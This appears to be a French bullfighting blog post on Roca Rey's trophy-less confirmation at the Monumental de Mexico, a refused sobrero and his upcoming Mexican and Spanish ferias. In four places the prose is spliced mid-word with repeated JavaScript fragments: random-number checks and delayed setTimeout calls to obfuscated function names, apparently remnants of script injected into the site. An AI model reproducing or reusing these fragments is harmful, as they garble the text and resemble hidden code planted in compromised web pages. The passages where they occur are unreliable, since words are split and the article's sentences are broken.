UNE HIRONDELLE NE FAIT PAS LE PRINTEMPS

Ce ne fut pas possible. Tout était prêt pour que la réussite soit là : la tête sereine, les désirs du torero à fleur de peau, l’élevage de Barralva choisi pour sa souche espagnole, d’origine Atanasio, sérieux de tête et bien présentés et avec à son actif dix-huit sorties a hombros des vingt toréées en Amérique, où il n’y a pas eu un après-midi où il ne coupe pas d’oreille. Ça allait être la première fois de sa courte et triomphale carrière de matador de toros où il n’obtiendrait aucun trophée. Son premier paseo depuis son alternative qui l’a vu quitter les arènes sans avoir coupé le moindre pavillon. Il aurait pu le faire après la faena intense, pleine d’assurance et qui avait fait vibrer le public à « Cardifresco », le toro de sa confirmation à la Monumental de Mexico, noble et un peu lent à la détente dont le torero de Lima tira le maximum à la muleta, mais il se montra moins adroit à l’épée en s’élançant au volapié et l’estocade fut excessivement basse. Le toro en mourut, mais sans la possibilité d’avoir le moindre trophée.

Ensuite vint un sixième taureau très armé mais qui ne lui donna aucune chance, tout comme le président de la corrida qui refusa carrément de lui concéder le sobrero que le torero demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andait avec le soutien des organisateurs et du public. Ce qui était bon pour Castella neuf jours auparavant ne l’était plus pour le torero péruvien. Un caprice à rajouter à bon nombre d’autres que nous supportons de cette présidence où il faudrait faire du nettoyage de fond en comble.

Même si la déception est normale, cela ne fait rien. Comme le dit le dicton : « une hirondelle ne fait pas le printemps ». Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ces lignes seront sur la toile Roca Rey aura déjà participé à son avant-dernière corrida de sa campagne américaine dans les arènes de La Petatera, où il était annoncé pour ce mardi en compagnie de Hermoso de Mendoza et El Payo, devant du bétail de Barralva. Sa tournée mexicaine finira en beauté –comme nous lui souhaitons- à Guadalajara, des arènes qui l’ont déjà vu triompher deux fois. Ce sera dimanche prochain où l’attendent des toros de Jaral de Peñas en compagnie de Garibay et Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante. Après quoi il traversera l’Atlantique et emmènera ses rêves et ses espoirs en Espagne où l’attend une saison à mon avis cruciale car il est à l’affiche de toutes les plus importantes ferias de ce début de temporada. Le cinq mars l’attend comme « apéritif » le mano a mano à la feria de la Madeleine de Castellón ; ensuite, le 17 un nouveau mano a mano avec Talavante pour les Fallas de Valence ; après un troisième mano a mano avec El Juli à Arles le 27. Il sera aussi à l’affiche de trois corridas pour les deux ferias de Séville, et a priori dans trois autres pour la San Isidro.

Comme on peut le constater, ce garçon ne se cache pas et il est prêt à prendre par les cornes le taureau de cette saison pour le catapulter là où il souhaite être. Et où il se retrouvera probablement si les toros l’aident un peu et s’il est à l’abri des blessures. Nous le constaterons très prochainement.

Les commentaires sont fermés.